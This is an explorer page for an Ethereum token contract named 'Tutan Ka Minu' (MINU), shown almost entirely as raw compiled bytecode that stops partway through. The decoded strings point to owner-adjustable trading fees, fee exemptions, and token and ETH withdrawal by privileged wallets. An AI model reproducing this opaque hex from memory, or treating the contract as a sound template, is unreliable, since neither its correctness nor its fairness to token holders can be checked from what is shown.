Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x500bc4498EC9a5976f0452E91a1Eb41A7F8aE33f
Balance 0 ETH
Nonce 1
Code Size 20610 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

20610 bytes
0x6080604052600436106101ba575f3560e01c80638da5cb5b116100eb578063b484d5d011610089578063bf474bed11610063578063bf474bed14610582578063dd62ed3e146105ac578063fbc10304146105e8578063ff652e0e14610610576101c1565b8063b484d5d01461052e578063b85aa7d214610556578063bf3498711461056c576101c1565b806395d89b41116100c557806395d89b411461048a578063a9059cbb146104b4578063a95ec5c0146104f0578063b0c2365614610506576101c1565b80638da5cb5b1461040e5780638f9a55c0146104385780639525d6a014610462576101c1565b806323b872dd1161015857806370a082311161013257806370a082311461037c578063715018a6146103b85780637d1db4a5146103ce5780638a8c523c146103f8576101c1565b806323b872dd146102eb5780632973ef2d14610327578063313ce56714610352576101c1565b8063162acc6611610194578063162acc661461025557806318160ddd1461027d5780631a7b2077146102a75780631b670723146102cf576101c1565b806306fdde03146101c5578063095ea7b3146101ef5780630faee56f1461022b576101c1565b366101c157005b5f80fd5b3480156101d0575f80fd5b506101d9610626565b6040516101e691906136bc565b60405180910390f35b3480156101fa575f80fd5b506102156004803603810190610210919061377a565b610663565b60405161022291906137d2565b60405180910390f35b348015610236575f80fd5b5061023f610680565b60405161024c91906137fa565b60405180910390f35b348015610260575f80fd5b5061027b6004803603810190610276919061377a565b610686565b005b348015610288575f80fd5b506102916109cd565b60405161029e91906137fa565b60405180910390f35b3480156102b2575f80fd5b506102cd60048036038101906102c89190613813565b6109f0565b005b6102e960048036038101906102e4919061397e565b610c36565b005b3480156102f6575f80fd5b50610311600480360381019061030c91906139ea565b611386565b60405161031e91906137d2565b60405180910390f35b348015610332575f80fd5b5061033b61145a565b604051610349929190613a3a565b60405180910390f35b34801561035d575f80fd5b50610366611492565b6040516103739190613a7c565b60405180910390f35b348015610387575f80fd5b506103a2600480360381019061039d9190613a95565b61149a565b6040516103af91906137fa565b60405180910390f35b3480156103c3575f80fd5b506103cc6114e0565b005b3480156103d9575f80fd5b506103e261162e565b6040516103ef91906137fa565b60405180910390f35b348015610403575f80fd5b5061040c611634565b005b348015610419575f80fd5b50610422611b83565b60405161042f9190613acf565b60405180910390f35b348015610443575f80fd5b5061044c611baa565b60405161045991906137fa565b60405180910390f35b34801561046d575f80fd5b5061048860048036038101906104839190613b12565b611bb0565b005b348015610495575f80fd5b5061049e611cc1565b6040516104ab91906136bc565b60405180910390f35b3480156104bf575f80fd5b506104da60048036038101906104d5919061377a565b611cfe565b6040516104e791906137d2565b60405180910390f35b3480156104fb575f80fd5b50610504611d1b565b005b348015610511575f80fd5b5061052c60048036038101906105279190613b3d565b611e5f565b005b348015610539575f80fd5b50610554600480360381019061054f9190613b7b565b611f65565b005b348015610561575f80fd5b5061056a6120e4565b005b348015610577575f80fd5b506105806121b8565b005b34801561058d575f80fd5b506105966122c4565b6040516105a391906137fa565b60405180910390f35b3480156105b7575f80fd5b506105d260048036038101906105cd9190613bd5565b6122ca565b6040516105df91906137fa565b60405180910390f35b3480156105f3575f80fd5b5061060e60048036038101906106099190613813565b61234c565b005b34801561061b575f80fd5b50610624612462565b005b60606040518060400160405280600d81526020017f547574616e204b61204d696e7500000000000000000000000000000000000000815250905090565b5f61067661066f61253d565b8484612544565b6001905092915050565b60125481565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106c661253d565b73ffffffffffffffffffffffffffffffffffffffff16148061073b575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661072361253d565b73ffffffffffffffffffffffffffffffffffffffff16145b61077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190613c5d565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107df90613cc5565b60405180910390fd5b5f811161082a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082190613d2d565b60405180910390fd5b5f8290505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016108689190613acf565b602060405180830381865afa158015610883573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a79190613d5f565b9050828110156108ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e390613dd4565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518363ffffffff1660e01b8152600401610948929190613df2565b6020604051808303815f875af1158015610964573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109889190613e2d565b6109c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109be90613ea2565b60405180910390fd5b50505050565b5f6009600a6109dc919061401c565b633b9aca006109eb9190614066565b905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a3061253d565b73ffffffffffffffffffffffffffffffffffffffff161480610aa5575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a8d61253d565b73ffffffffffffffffffffffffffffffffffffffff16145b610ae4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610adb90613c5d565b60405180910390fd5b5f8111610b26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1d90613d2d565b60405180910390fd5b80471015610b69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b60906140f1565b60405180910390fd5b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051610baf9061413c565b5f6040518083038185875af1925050503d805f8114610be9576040519150601f19603f3d011682016040523d82523d5f602084013e610bee565b606091505b5050905080610c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c299061419a565b60405180910390fd5b5050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c7661253d565b73ffffffffffffffffffffffffffffffffffffffff161480610ceb575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cd361253d565b73ffffffffffffffffffffffffffffffffffffffff16145b610d2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2190613c5d565b60405180910390fd5b5f835111610d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6490614202565b60405180910390fd5b5f81118015610d7d575060648111155b610dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db39061426a565b60405180910390fd5b5f600a90505f845184610dcf9190614066565b905080341015610e14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0b906142d2565b60405180910390fd5b5f610e1e3061149a565b90505f8111610e62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e599061433a565b60405180910390fd5b5f60648583610e719190614066565b610e7b9190614385565b90505f8111610ebf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb6906143ff565b60405180910390fd5b5f875182610ecd9190614385565b90505f8111610f11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0890614467565b60405180910390fd5b5f60648683610f209190614066565b610f2a9190614385565b90505f805b8a5181101561117c575f8b8281518110610f4c57610f4b614485565b5b602002602001015190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbb906144fc565b60405180910390fd5b60018c51610fd2919061451a565b82101561116e575f6001600286610fe99190614066565b610ff3919061454d565b4244848660405160200161100a94939291906145e5565b604051602081830303815290604052805190602001205f1c61102c9190614632565b90505f858211611049578187611042919061451a565b9050611063565b8582611055919061451a565b87611060919061454d565b90505b6002876110709190614385565b811015611087576002876110849190614385565b90505b878186611094919061454d565b11156110a95784886110a6919061451a565b90505b6110b4308483612707565b80856110c0919061454d565b94505f8373ffffffffffffffffffffffffffffffffffffffff168e6040516110e79061413c565b5f6040518083038185875af1925050503d805f8114611121576040519150601f19603f3d011682016040523d82523d5f602084013e611126565b606091505b505090508061116a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611161906146ac565b60405180910390fd5b5050505b508080600101915050610f2f565b505f8a5111156112a2575f8185611193919061451a565b90505f8111156111d0576111cf308c60018e516111b0919061451a565b815181106111c1576111c0614485565b5b602002602001015183612707565b5b5f8b60018d516111e0919061451a565b815181106111f1576111f0614485565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168b60405161121c9061413c565b5f6040518083038185875af1925050503d805f8114611256576040519150601f19603f3d011682016040523d82523d5f602084013e61125b565b606091505b505090508061129f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611296906146ac565b60405180910390fd5b50505b5f4790505f811115611379575f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826040516112f49061413c565b5f6040518083038185875af1925050503d805f811461132e576040519150601f19603f3d011682016040523d82523d5f602084013e611333565b606091505b5050905080611377576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136e90614714565b60405180910390fd5b505b5050505050505050505050565b5f611392848484612707565b61144f8461139e61253d565b61144a856040518060600160405280602881526020016150256028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61140161253d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546131389092919063ffffffff16565b612544565b600190509392505050565b5f80600a54600e541161146f57600654611473565b6008545b9150600b54600e54116114885760075461148c565b6009545b90509091565b5f6009905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6114e861253d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611574576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156b9061477c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f5481565b61163c61253d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bf9061477c565b60405180910390fd5b60148054906101000a900460ff1615611716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170d906147e4565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506117b23060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61179e919061401c565b633b9aca006117ad9190614066565b612544565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561181c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906118409190614816565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906118ea9190614816565b6040518363ffffffff1660e01b8152600401611907929190614841565b6020604051808303815f875af1158015611923573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119479190614816565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6119903061149a565b90505f6119ba60646119ac604d8561319a90919063ffffffff16565b61321190919063ffffffff16565b905060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730845f80611a06611b83565b426040518863ffffffff1660e01b8152600401611a28969594939291906148aa565b60606040518083038185885af1158015611a44573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611a699190614909565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611b09929190613df2565b6020604051808303815f875af1158015611b25573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b499190613e2d565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff0219169083151502179055505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611bf061253d565b73ffffffffffffffffffffffffffffffffffffffff161480611c65575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611c4d61253d565b73ffffffffffffffffffffffffffffffffffffffff16145b611ca4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9b90613c5d565b60405180910390fd5b80601460166101000a81548160ff02191690831515021790555050565b60606040518060400160405280600481526020017f4d494e5500000000000000000000000000000000000000000000000000000000815250905090565b5f611d11611d0a61253d565b8484612707565b6001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d5b61253d565b73ffffffffffffffffffffffffffffffffffffffff161480611dd0575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611db861253d565b73ffffffffffffffffffffffffffffffffffffffff16145b611e0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0690613c5d565b60405180910390fd5b5f611e193061149a565b90505f81118015611e365750601460169054906101000a900460ff165b15611e4557611e448161325a565b5b5f4790505f811115611e5b57611e5a816134c5565b5b5050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e9f61253d565b73ffffffffffffffffffffffffffffffffffffffff161480611f14575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611efc61253d565b73ffffffffffffffffffffffffffffffffffffffff16145b611f53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4a906149a3565b60405180910390fd5b81600681905550806007819055505050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fa561253d565b73ffffffffffffffffffffffffffffffffffffffff16148061201a575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661200261253d565b73ffffffffffffffffffffffffffffffffffffffff16145b612059576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612050906149a3565b60405180910390fd5b5f5b82518110156120df578160035f85848151811061207b5761207a614485565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550808060010191505061205b565b505050565b6120ec61253d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612178576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216f9061477c565b60405180910390fd5b5f600d819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f6040516121ae91906149c1565b60405180910390a1565b6121c061253d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461224c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122439061477c565b60405180910390fd5b6009600a61225a919061401c565b633b9aca006122699190614066565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61229e919061401c565b633b9aca006122ad9190614066565b6040516122ba91906137fa565b60405180910390a1565b60115481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661238c61253d565b73ffffffffffffffffffffffffffffffffffffffff161480612401575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166123e961253d565b73ffffffffffffffffffffffffffffffffffffffff16145b612440576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243790613c5d565b60405180910390fd5b6009600a61244e919061401c565b816124599190614066565b60128190555050565b61246a61253d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ed9061477c565b60405180910390fd5b5f6006819055505f6007819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f60405161253391906149c1565b60405180910390a1565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036125b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a990614a4a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612620576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261790614ad8565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516126fa91906137fa565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276c90614b66565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127da90614bf4565b60405180910390fd5b5f8111612825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161281c90614c82565b60405180910390fd5b5f61282e611b83565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561289c575061286c611b83565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612e88575f600e54148015612955575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480612954575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b15612a3d5760035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156129f8575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612a3c57612a396064612a2b600a54600e5411612a1857600654612a1c565b6008545b8561319a90919063ffffffff16565b61321190919063ffffffff16565b90505b5b5f600e541115612a7257612a6f6064612a61600d548561319a90919063ffffffff16565b61321190919063ffffffff16565b90505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015612b1b575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612c6257600f54821115612b65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b5c90614cea565b60405180910390fd5b60105482612b728561149a565b612b7c919061454d565b1115612bbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bb490614d52565b60405180910390fd5b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16612c4a57612c476064612c39600a54600e5411612c2657600654612c2a565b6008545b8561319a90919063ffffffff16565b61321190919063ffffffff16565b90505b600e5f815480929190612c5c90614d70565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015612cea57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612d2e57612d2b6064612d1d600b54600e5411612d0a57600754612d0e565b6009545b8561319a90919063ffffffff16565b61321190919063ffffffff16565b90505b5f612d383061149a565b9050601460159054906101000a900460ff16158015612da3575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015612dbb5750601460169054906101000a900460ff165b8015612dc8575060115481115b8015612dd75750600c54600e54115b15612e8657601654431115612dee575f6015819055505b600360155410612e33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e2a90614e01565b60405180910390fd5b612e50612e4b84612e468460125461352d565b61352d565b61325a565b5f4790505f811115612e6657612e65476134c5565b5b60155f815480929190612e7890614d70565b919050555043601681905550505b505b5f811115612f8757612ee08160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461354590919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612f7e91906137fa565b60405180910390a35b612fd78260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546135a290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061307a61302e82846135a290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461354590919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61311d84866135a290919063ffffffff16565b60405161312a91906137fa565b60405180910390a350505050565b5f83831115829061317f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161317691906136bc565b60405180910390fd5b505f838561318d919061451a565b9050809150509392505050565b5f8083036131aa575f905061320b565b5f82846131b79190614066565b90508284826131c69190614385565b14613206576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131fd90614e8f565b60405180910390fd5b809150505b92915050565b5f61325283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506135eb565b905092915050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561329157613290613842565b5b6040519080825280602002602001820160405280156132bf5781602001602082028036833780820191505090505b50905030815f815181106132d6576132d5614485565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561337a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061339e9190614816565b816001815181106133b2576133b1614485565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506134183060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612544565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161347a959493929190614f64565b5f604051808303815f87803b158015613491575f80fd5b505af11580156134a3573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015613529573d5f803e3d5ffd5b5050565b5f81831161353b578261353d565b815b905092915050565b5f808284613553919061454d565b905083811015613598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161358f90615006565b60405180910390fd5b8091505092915050565b5f6135e383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613138565b905092915050565b5f8083118290613631576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161362891906136bc565b60405180910390fd5b505f838561363f9190614385565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61368e8261364c565b6136988185613656565b93506136a8818560208601613666565b6136b181613674565b840191505092915050565b5f6020820190508181035f8301526136d48184613684565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f613716826136ed565b9050919050565b6137268161370c565b8114613730575f80fd5b50565b5f813590506137418161371d565b92915050565b5f819050919050565b61375981613747565b8114613763575f80fd5b50565b5f8135905061377481613750565b92915050565b5f80604083850312156137905761378f6136e5565b5b5f61379d85828601613733565b92505060206137ae85828601613766565b9150509250929050565b5f8115159050919050565b6137cc816137b8565b82525050565b5f6020820190506137e55f8301846137c3565b92915050565b6137f481613747565b82525050565b5f60208201905061380d5f8301846137eb565b92915050565b5f60208284031215613828576138276136e5565b5b5f61383584828501613766565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61387882613674565b810181811067ffffffffffffffff8211171561389757613896613842565b5b80604052505050565b5f6138a96136dc565b90506138b5828261386f565b919050565b5f67ffffffffffffffff8211156138d4576138d3613842565b5b602082029050602081019050919050565b5f80fd5b5f6138fb6138f6846138ba565b6138a0565b9050808382526020820190506020840283018581111561391e5761391d6138e5565b5b835b8181101561394757806139338882613733565b845260208401935050602081019050613920565b5050509392505050565b5f82601f8301126139655761396461383e565b5b81356139758482602086016138e9565b91505092915050565b5f805f60608486031215613995576139946136e5565b5b5f84013567ffffffffffffffff8111156139b2576139b16136e9565b5b6139be86828701613951565b93505060206139cf86828701613766565b92505060406139e086828701613766565b9150509250925092565b5f805f60608486031215613a0157613a006136e5565b5b5f613a0e86828701613733565b9350506020613a1f86828701613733565b9250506040613a3086828701613766565b9150509250925092565b5f604082019050613a4d5f8301856137eb565b613a5a60208301846137eb565b9392505050565b5f60ff82169050919050565b613a7681613a61565b82525050565b5f602082019050613a8f5f830184613a6d565b92915050565b5f60208284031215613aaa57613aa96136e5565b5b5f613ab784828501613733565b91505092915050565b613ac98161370c565b82525050565b5f602082019050613ae25f830184613ac0565b92915050565b613af1816137b8565b8114613afb575f80fd5b50565b5f81359050613b0c81613ae8565b92915050565b5f60208284031215613b2757613b266136e5565b5b5f613b3484828501613afe565b91505092915050565b5f8060408385031215613b5357613b526136e5565b5b5f613b6085828601613766565b9250506020613b7185828601613766565b9150509250929050565b5f8060408385031215613b9157613b906136e5565b5b5f83013567ffffffffffffffff811115613bae57613bad6136e9565b5b613bba85828601613951565b9250506020613bcb85828601613afe565b9150509250929050565b5f8060408385031215613beb57613bea6136e5565b5b5f613bf885828601613733565b9250506020613c0985828601613733565b9150509250929050565b7f43616c6c6572206973206e6f7420617574686f72697a656400000000000000005f82015250565b5f613c47601883613656565b9150613c5282613c13565b602082019050919050565b5f6020820190508181035f830152613c7481613c3b565b9050919050565b7f43616e6e6f74207265636f76657220626c6f636b20746f6b656e7300000000005f82015250565b5f613caf601b83613656565b9150613cba82613c7b565b602082019050919050565b5f6020820190508181035f830152613cdc81613ca3565b9050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e207a65726f5f82015250565b5f613d17602083613656565b9150613d2282613ce3565b602082019050919050565b5f6020820190508181035f830152613d4481613d0b565b9050919050565b5f81519050613d5981613750565b92915050565b5f60208284031215613d7457613d736136e5565b5b5f613d8184828501613d4b565b91505092915050565b7f496e73756666696369656e7420746f6b656e2062616c616e63650000000000005f82015250565b5f613dbe601a83613656565b9150613dc982613d8a565b602082019050919050565b5f6020820190508181035f830152613deb81613db2565b9050919050565b5f604082019050613e055f830185613ac0565b613e1260208301846137eb565b9392505050565b5f81519050613e